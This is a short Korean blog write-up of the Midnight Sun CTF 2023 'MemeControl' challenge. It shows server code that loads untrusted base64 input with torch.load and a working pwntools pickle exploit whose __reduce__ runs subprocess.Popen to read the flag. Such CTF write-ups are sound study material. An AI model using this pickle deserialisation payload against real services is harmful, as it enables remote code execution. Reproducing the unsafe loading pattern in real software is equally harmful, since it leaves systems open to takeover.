CIDY
[Midnight Sun CTF 2023] MemeControl 본문
import io
import torch
import base64
banner = \
'''
8""8""8 8""""8
8 8 8 eeee eeeeeee eeee 8 " eeeee eeeee eeeee eeeee eeeee e
8e 8 8 8 8 8 8 8 8e 8 88 8 8 8 8 8 8 88 8
88 8 8 8eee 8e 8 8 8eee 88 8 8 8e 8 8e 8eee8e 8 8 8e
88 8 8 88 88 8 8 88 88 e 8 8 88 8 88 88 8 8 8 88
88 8 8 88ee 88 8 8 88ee 88eee8 8eee8 88 8 88 88 8 8eee8 88eee
'''
try:
print(banner)
base64_string = input("Send the base64 encoded model: ")
bytes_data = base64.b64decode(base64_string)
print("Evaluating the model ...")
device = torch.device("cpu")
model = torch.load(io.BytesIO(bytes_data), map_location=device)
model.eval()
print("Finished evaluating the model!")
except Exception as e:
print(f"Ooops, this model is no good: {e}".format(e))
파이썬 torch에서 피클 취약점으로 익스플로잇하는 문제이다. torch 안 써보긴 했는데 그냥 피클 취약점 검색하니까 바로 나와서 의외로 간단히 풀었다.
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
피클은 __reduce__호출 시 return에 함수 이름과 인자를 적어두면 load하는 과정에서 그 함수가 실행된다는 취약점이 있다.
from pwn import *
import base64
import subprocess
import pickle
p = remote("memecontrol-1.play.hfsc.tf", 1337)
class Exploit(object):
def __reduce__(self):
return (subprocess.Popen, (('cat', 'flag'),))
print(base64.b64encode(pickle.dumps(Exploit())))
p.sendlineafter("Send the base64 encoded model: ", base64.b64encode(pickle.dumps(Exploit())))
p.interactive()
그래서 걍 이렇게 해 주면 된다. 입력을 base64디코딩해서 쓰기 때문에 입력할 때 인코딩해서 보내줬다.
'Hack > CTF' 카테고리의 다른 글
[DEFCON CTF 2023 Qualifier] Open House(작성중) (0) | 2023.06.02 |
---|---|
[TAMU CTF 2023] Write up (2) | 2023.05.08 |
[POXX 2022 본선] Write-up? (0) | 2023.02.28 |
[LACTF 2023] stuff (4) | 2023.02.15 |
[MHSCTF 2023] Feb. 5 — Rescue Mission (0) | 2023.02.15 |